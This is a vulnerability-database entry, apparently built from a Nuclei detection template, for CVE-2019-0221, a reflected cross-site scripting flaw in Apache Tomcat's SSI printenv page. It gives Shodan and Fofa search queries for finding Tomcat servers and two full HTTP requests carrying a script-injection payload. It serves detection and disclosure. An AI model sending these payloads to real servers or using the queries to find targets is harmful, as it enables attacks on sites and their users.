| Title | Apache Tomcat - Cross-Site Scripting |
|---|---|
| Author | pikpikcu |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Apply the necessary patches or updates provided by Apache Tomcat to fix the XSS vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.43363 |
| CVE ID | CVE-2019-0221 |
| CWE ID | CWE-79 |
| Shodan Query | title:"Apache Tomcat"http.title:"apache tomcat"http.html:"apache tomcat"cpe:"cpe:2.3:a:apache:tomcat" |
| Fofa Query | body="apache tomcat"title="apache tomcat" |
| Tags | cve2019 cve apache xss tomcat seclists edb vuln |
Apache Tomcat 9.0.0.M1 to 9.0.0.17, 8.5.0 to 8.5.39, and 7.0.0 to 7.0.93 are vulnerable to cross-site scripting because the SSI printenv command echoes user provided data without escaping. Note: SSI is disabled by default. The printenv command is intended for debugging and is unlikely to be present in a production website.
GET /printenv.shtml?%3Cscript%3Ealert(1994568570)%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /ssi/printenv.shtml?%3Cscript%3Ealert(1994568570)%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-0221.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-0221.pcap
N/AN/A